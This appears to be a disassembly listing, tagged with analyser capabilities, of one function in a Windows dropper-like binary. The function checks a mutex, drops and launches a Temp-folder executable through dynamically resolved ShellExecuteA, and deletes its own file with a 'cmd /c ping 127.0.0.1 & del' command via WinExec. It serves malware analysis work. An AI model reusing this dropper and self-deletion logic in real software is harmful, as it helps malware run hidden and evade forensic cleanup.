Function at 0x401160
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Terminate process

Disassembly:
mov eax, 0x1078
call fcn.004017a0
push ebx
push ebp
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x10]
xor ebx, ebx
push 0x7f04
rep stosd dword es:[edi], eax
push ebx
mov dword [esp + 0x18], 2
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f8b
push ebx
mov dword [esp + 0x2c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x2c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esp + 0x34], ebx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push ebx
push ebx
lea ecx, [esp + 0x40]
push ebx
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x874]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x874]
push 0x104
push edx
push ebx
rep stosd dword es:[edi], eax
call ebp
lea eax, [esp + 0x874]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x401241
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401241
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
lea ecx, [esp + 0xb84]
push 0x104
push ecx
push ebx
call ebp
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x261]
mov byte [esp + 0x260], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x260]
push edx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x468]
push 0x104
push eax
push ebx
call ebp
lea edi, [esp + 0x260]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x774], bl
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x775]
mov edx, ecx
mov ecx, 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x774]
stosb byte es:[edi], al
push ecx
lea edi, [esp + 0x46c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov eax, 0xfffffffe
dec ecx
sub eax, edx
add edx, 2
add ecx, eax
push ecx
lea ecx, [esp + 0x470]
push edx
push ecx
call section..text
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x375]
mov byte [esp + 0x374], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x681]
mov byte [esp + 0x680], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [esp + 0x680]
lea eax, [esp + 0x374]
push edx
push eax
push ebx
lea ecx, [esp + 0x484]
push ebx
push ecx
call fcn.0040164e
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
lea edi, [esp + 0x284]
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x36], 0x5c
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
mov byte [esp + 0x37], bl
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x7c]
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x36]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x180], bl
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x7c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x388]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x181]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [esp + 0x7c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffb
lea eax, [esp + 0x7c]
push ecx
lea ecx, [esp + 0x184]
push eax
push ecx
call fcn.00401550
mov edi, str..zip
or ecx, 0xffffffff
xor eax, eax
add esp, 0x30
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 0x15c]
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x97c]
and ecx, 3
push 0x104
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x97c]
push ecx
lea edx, [esp + 0x570]
push str._sTempgh3423fdf4.exe
push edx
call edi
lea eax, [esp + 0x168]
push eax
push str.OATH1
push 0x4060b0
call fcn.00401070
lea ecx, [esp + 0x584]
push ecx
push str.OATH1
push 0x4060ac
call fcn.00401070
add esp, 0x24
push str.ShellExecuteA
push str.SHELL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 5
push ebx
lea edx, [esp + 0x164]
push ebx
push edx
push str.open
mov esi, eax
push ebx
call esi
push ebx
push ebx
lea eax, [esp + 0x574]
push ebx
push eax
push str.open
push ebx
call esi
lea ecx, [esp + 0xa80]
push 0x104
push ecx
push ebx
call ebp
lea edx, [esp + 0xa80]
lea eax, [esp + 0xc88]
push edx
push str.cmd__c_ping_127.0.0.1__n_1del___s_
push eax
call edi
add esp, 0xc
push str.WinExec
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0xc88]
push ebx
push ecx
call eax
pop esi
pop edi
xor eax, eax
pop ebp
pop ebx
add esp, 0x1078
ret 0x10